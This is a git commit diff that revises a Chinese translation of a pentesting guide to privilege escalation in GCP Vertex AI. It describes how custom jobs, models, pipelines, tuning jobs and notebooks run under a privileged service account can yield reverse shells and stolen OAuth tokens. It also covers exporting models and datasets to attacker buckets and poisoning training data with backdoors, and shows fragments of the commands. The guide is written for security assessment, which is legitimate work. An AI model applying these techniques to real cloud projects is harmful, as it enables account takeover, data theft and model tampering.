Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat

This commit is contained in:
Translator
2025-11-24 10:24:51 +00:00
parent 85de019aa3
commit f57e5564c6
@@ -12,15 +12,15 @@
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
拥有 `aiplatform.customJobs.create` 权限并对目标 service account 具`iam.serviceAccounts.actAs`,攻击者可以 **以提升的权限执行任意代码**
如果对目标服务账号拥有 `aiplatform.customJobs.create` 权限并且对该服务账号拥`iam.serviceAccounts.actAs`,攻击者可以**以提升的权限执行任意代码**。
这是通过创建一个 custom training job 来实现的,该 job 运行攻击者控制代码(可以是自定义容器或 Python 包)。通过使用 `--service-account` 标志指定一个有特权的 service accountjob 将继承该 service account 的权限。该 job 在 Google 托管的基础设施上运行,可访问 GCP metadata service,从而能够提取该 service account 的 OAuth access token
其原理是创建一个运行攻击者控制代码的自定义训练作业(可以是自定义容器或 Python 包)。通过使用 `--service-account` 标志指定一个有特权的服务账号,该作业将继承该服务账号的权限。该作业在 Google-managed infrastructure 上运行,可访问 GCP metadata service,从而能够提取该服务账号的 OAuth 访问令牌
**Impact**Full privilege escalation 到目标 service account 的权限。
**影响**:可将权限完全提升为目标服务账号所拥有的权限。
<details>
<summary>创建带 reverse shell 的 custom job</summary>
<summary>创建带 reverse shell 的自定义作业</summary>
```bash
# Method 1: Reverse shell to attacker-controlled server (most direct access)
gcloud ai custom-jobs create \
@@ -49,7 +49,7 @@ gcloud ai custom-jobs create \
<details>
<summary>替代:从日志中提取 token</summary>
<summary>替代方法:从日志中提取 token</summary>
```bash
# Method 3: View in logs (less reliable, logs may be delayed)
gcloud ai custom-jobs create \
@@ -65,15 +65,13 @@ gcloud ai custom-jobs stream-logs <job-id> --region=<region>
```
</details>
> [!CAUTION]
> 自定义 job 将以指定服务账户的权限运行。确保你在目标服务账户上拥有 `iam.serviceAccounts.actAs` 权限。
### `aiplatform.models.upload`, `aiplatform.models.get`
技术通过 Vertex AI 上传模型实现权限提升,然后通过部署 endpoint 或批量预测作业利用该模型以提升权限执行代码。
这项技术通过将模型上传到 Vertex AI 实现权限提升,然后通过端点部署或批量预测作业利用该模型以提升权限执行代码。
> [!NOTE]
> 执行此攻击需要一个对所有人可读的 GCS 存储桶,或创建一个新的存储桶来上传模型工件。
> 执行此攻击需要一个对所有人可读的 GCS bucket,或创建一个新的 GCS bucket 来上传模型工件。
<details>
@@ -113,7 +111,7 @@ gcloud ai models upload \
<details>
<summary>上传模型并包含 container reverse shell</summary>
<summary>上传包含 container reverse shell 的模型</summary>
```bash
# Method 2 using --container-args to run a persistent reverse shell
@@ -145,16 +143,15 @@ gcloud ai models upload \
</details>
> [!DANGER]
> 在上传恶意模型后,攻击者可以等待有人使用该模型,或通过将模型部署到 endpoint 或通过批量预测作业自行启动该模型。
> 在上传恶意模型后,攻击者可以等待有人使用该模型,或通过端点部署或批量预测作业自行触发该模型。
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
如果你有权限将模型创建并部署到 endpoint,或修改 endpoint 的 IAM 策略,你可以利用项目中已上传的恶意模型来实现权提升。要通过 endpoint 触发前上传的恶意模型,你需要做的只是
如果你有权限在端点上创建并部署模型,或修改端点的 IAM 策略,你可以利用项目中已上传的恶意模型来实现权提升。要通过端点触发前上传的某个恶意模型,你需要:
<details>
<summary>将恶意模型部署到 endpoint</summary>
<summary>Deploy malicious model to endpoint</summary>
```bash
# Create an endpoint
gcloud ai endpoints create \
@@ -175,16 +172,16 @@ gcloud ai endpoints deploy-model <endpoint-id> \
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
如果你有权限创建一个 **batch prediction jobs** 并用服务账运行它,你可以访问 metadata service。恶意代码会在批量预测过程中从 **custom prediction container****malicious model** 中执行。
如果你有权限创建 **batch prediction jobs**使用服务账运行它,你可以访问元数据服务。恶意代码会在批量预测过程中从 **custom prediction container****malicious model** 中执行。
**Note**: Batch prediction jobs 只能通过 REST API 或 Python SDK 创建(不支持 gcloud CLI)。
> [!NOTE]
> 攻击需要先上传一个恶意模型(参见上文 `aiplatform.models.upload` 部分)或使用包含 reverse shell code 的 custom prediction container。
> 攻击首先需要先上传一个 malicious model(参见上文 `aiplatform.models.upload` 部分)或使用包含你的 reverse shell 代码的 custom prediction container。
<details>
<summary>使用恶意模型创建 batch prediction job</summary>
<summary>使用 malicious model 创建 batch prediction job</summary>
```bash
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
gcloud ai models upload \
@@ -240,14 +237,14 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
### `aiplatform.models.export`
如果你拥有 **models.export** 权限,你可以将模型工件导出到你控制的 GCS 存储桶,可能访问敏感的训练数据或模型文件。
如果你拥有 **models.export** 权限,你可以将模型工件导出到你控制的 GCS bucket,从而可能访问敏感的训练数据或模型文件。
> [!NOTE]
> 要执行此 attack,需要有一个对所有人可读写的 GCS 存储桶,或者创建一个新的存储桶来上传模型工件。
> 要执行此 attack,需要有一个对所有人可读写的 GCS bucket,或者创建一个新的 GCS bucket 来上传模型工件。
<details>
<summary>将模型工件导出到 GCS 存储桶</summary>
<summary>将模型工件导出到 GCS bucket</summary>
```bash
# Export model artifacts to your own GCS bucket
PROJECT="your-project"
@@ -274,12 +271,12 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
创建 **ML pipeline jobs**,这些作业使用任意容器执行多个步骤,并通过 reverse shell 实现 privilege escalation。
创建**ML pipeline jobs**,这些作业可以执行多个步骤并使用任意容器,从而通过 reverse shell access 实现 privilege escalation。
Pipelines 在进行 privilege escalation 尤其强大,因为它们支持 multi-stage attacks组件可以使用不同的 containers 和配置。
Pipelines 在 privilege escalation 尤其强大,因为它们支持 multi-stage attacks每个组件可以使用不同的容器和配置。
> [!NOTE]
> 你需要一个允许任何人写入的 GCS bucket 作为 pipeline root。
> 你需要一个对所有人可写的 GCS bucket 作为 pipeline root。
<details>
@@ -292,7 +289,7 @@ pip install google-cloud-aiplatform
<details>
<summary>创建带有 reverse shell container 的 pipeline job</summary>
<summary>使用 reverse shell 容器 创建 pipeline 作业</summary>
```python
#!/usr/bin/env python3
import json
@@ -386,15 +383,15 @@ print(f" {response.text}")
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
创建可以通过自定义训练容器以提升权限执行任意代码的 **hyperparameter tuning jobs**
创建可以通过自定义训练容器以提升权限执行任意代码的 **超参数调优作业**
Hyperparameter tuning jobs 允许你并行运行多个训练试验,每个试验使用不同的超参数值。通过指定包含 reverse shell 或 exfiltration 命令的恶意容器,并将其与具有高权限的 service account 关联,可以实现权限提升
超参数调优作业允许你并行运行多个训练试验,每个试验使用不同的超参数值。通过指定包含 reverse shell 或 exfiltration 命令的恶意容器,并将其与具有特权的服务账号关联,你可以实现 privilege escalation
**影响**:对目标 service account 的权限进行完全权限提升(获得其全部权限)
**影响**:对目标服务账号权限的 Full privilege escalation
<details>
<summary>创建带 reverse shell 的 hyperparameter tuning job</summary>
<summary>创建带 reverse shell 的超参数调优作业</summary>
```bash
# Method 1: Python reverse shell (most reliable)
# Create HP tuning job config with reverse shell
@@ -435,15 +432,15 @@ gcloud ai hp-tuning-jobs create \
### `aiplatform.datasets.export`
导出 **datasets** 以 exfiltrate 可能包含敏感信息的训练数据。
导出**数据集**以窃取可能包含敏感信息的训练数据。
**注意**Dataset 操作需要 REST API 或 Python SDKdatasets 不支持 gcloud CLI)。
**注意**数据集操作需要使用 REST API 或 Python SDKgcloud CLI 不支持数据集)。
Datasets 通常包含原始训练数据,可能包括 PII、机密业务数据或用于训练生产模型的其他敏感信息。
数据集通常包含原始训练数据,其中可能包括 PII、机密业务数据或用于训练生产模型的其他敏感信息。
<details>
<summary>Export dataset to exfiltrate training data</summary>
<summary>导出数据集以窃取训练数据</summary>
```bash
# Step 1: List available datasets to find a target dataset ID
PROJECT="your-project"
@@ -492,25 +489,25 @@ cat exported-data/*/data-*.jsonl
### `aiplatform.datasets.import`
向现有数据导入恶意或中毒数据,以**操模型训练并引入后门**。
将恶意或 poisoned 数据导入现有数据,以 **操模型训练并引入 backdoors**
**注意**: 数据集操作需要 REST API 或 Python SDK不支持 gcloud CLI 对数据集的操作)。
**注意**数据集操作需要 REST API 或 Python SDKgcloud CLI 不支持数据集)。
通过将精心构造的数据导入用于训练 ML 模型的数据集,攻击者可以:
- 向模型引入后门(基于触发器的误分类)
- 对训练数据进行投毒以降低模型性能
- 注入数据导致模型 leak 信息
-模型在特定输入下的行为
通过将精心构造的数据导入用于训练机器学习 (ML) 模型的数据集,攻击者可以:
- 将 backdoors 引入模型(基于触发器的误分类)
- Poison 训练数据以降低模型性能
- 注入数据导致模型 leak 信息
-模型在特定输入下的行为
当目标数据集用于以下场景时,此攻击尤其有效:
当目标为以下类型的训练数据集时,此攻击尤其有效:
- 图像分类(注入错误标注的图像)
- 文本分类(注入有偏或恶意文本)
- 目标检测(操纵边界框)
- 推荐系统(注入伪造的偏好)
- 推荐系统(注入虚假偏好)
<details>
<summary>数据导入中毒数据</summary>
<summary>将 poisoned 数据导入数据</summary>
```bash
# Step 1: List available datasets to find target
PROJECT="your-project"
@@ -571,7 +568,7 @@ curl -s -X GET \
<details>
<summary>Backdoor attack - 图像分类</summary>
<summary>后门攻击 - 图像分类</summary>
```bash
# Scenario 1: Backdoor Attack - Image Classification
# Create images with a specific trigger pattern that causes misclassification
@@ -625,38 +622,38 @@ EOF
</details>
> [!DANGER]
> Data poisoning attacks 可能带来严重后果:
> - **Security systems**: 绕过面部识别或异常检测
> 数据投毒攻击可能造成严重后果:
> - **Security systems**: 绕过人脸识别或异常检测
> - **Fraud detection**: 训练模型忽略特定的欺诈模式
> - **Content moderation**: 使有害内容被判定为安全
> - **Medical AI**: 错误分类关键健康状况
> - **Autonomous systems**: 操纵目标检测以影响安全关键决策
**影响**:
- 后门模型在特定触发下发生错误分类
- 模型性能准确性下降
- 模型偏差导致对某些输入产生歧视性结果
- Information leakage through model behavior
- 长期持久性(在被污染数据上训练的模型会继承后门)
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
> [!WARNING]
> > [!NOTE]
> **已弃用的 API**`aiplatform.notebookExecutionJobs.create` API Vertex AI Workbench Managed Notebooks 的弃用而被弃用。现代做法是使用 **Vertex AI Workbench Executor**,它通过 `aiplatform.customJobs.create` 运行 notebooks(上文已有说明)。
> Vertex AI Workbench Executor 允许调度 notebook 运行,这些运行在 Vertex AI 的自定义训练基础设施上执行并使用指定的服务账号。本质上它是对 `customJobs.create` 的一个便捷封装。
> **对于通过 notebooks 提权**:请使用上文记录的 `aiplatform.customJobs.create` 方法,该方法更快、更可靠,并使用与 Workbench Executor 相同的底层基础设施。
**以下技术仅作为历史背景提供,不建议在新的评估中使用。**
创建运行包含任意代码的 Jupyter notebooks 的 notebook 执行作业
Notebook 作业适合以交互式方式通过服务号执行代码,因为它们支持 Python 代码单元和 shell 命令。
<details>
<summary>Create malicious notebook file</summary>
> - **Content moderation**: 导致有害内容被判定为安全
> - **Medical AI**: 错关键健康状况
> - **Autonomous systems**: 操纵物体检测以影响安全关键决策
>
> **Impact**:
> - 被植入后门模型在特定触发器下产生错误分类
> - 降低模型性能准确性
> - 产生对特定输入有歧视性的偏差模型
> - 通过模型行为泄露信息
> - 长期持久性(在被投毒数据上训练的模型会继承后门)
>
>
> ### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
>
> > [!WARNING]
> > > [!NOTE]
> > **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API is deprecated as part of Vertex AI Workbench Managed Notebooks deprecation. The modern approach is using **Vertex AI Workbench Executor** which runs notebooks through `aiplatform.customJobs.create` (already documented above).
> > Vertex AI Workbench Executor 允许调度笔记本运行,这些运行在指定的服务帐号上于 Vertex AI 的自定义训练基础设施上执行。本质上它是对 `customJobs.create` 的便捷封装。
> > **For privilege escalation via notebooks**: Use the `aiplatform.customJobs.create` method documented above, which is faster, more reliable, and uses the same underlying infrastructure as the Workbench Executor.
>
> **The following technique is provided for historical context only and is not recommended for use in new assessments.**
>
> 创建运行任意代码的 **notebook execution jobs** 来执行 Jupyter notebooks
>
> Notebook 作业非常适合以交互式方式使用服务号执行代码,因为它们支持 Python 代码单元和 shell 命令。
>
> <details>
>
> <summary>创建恶意笔记本文件</summary>
```bash
# Create a malicious notebook
cat > malicious.ipynb <<'EOF'
@@ -683,7 +680,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
<details>
<summary>使用目标服务账执行 notebook</summary>
<summary>使用目标服务账执行 notebook</summary>
```bash
# Create notebook execution job using REST API
PROJECT="gcp-labs-3uis1xlx"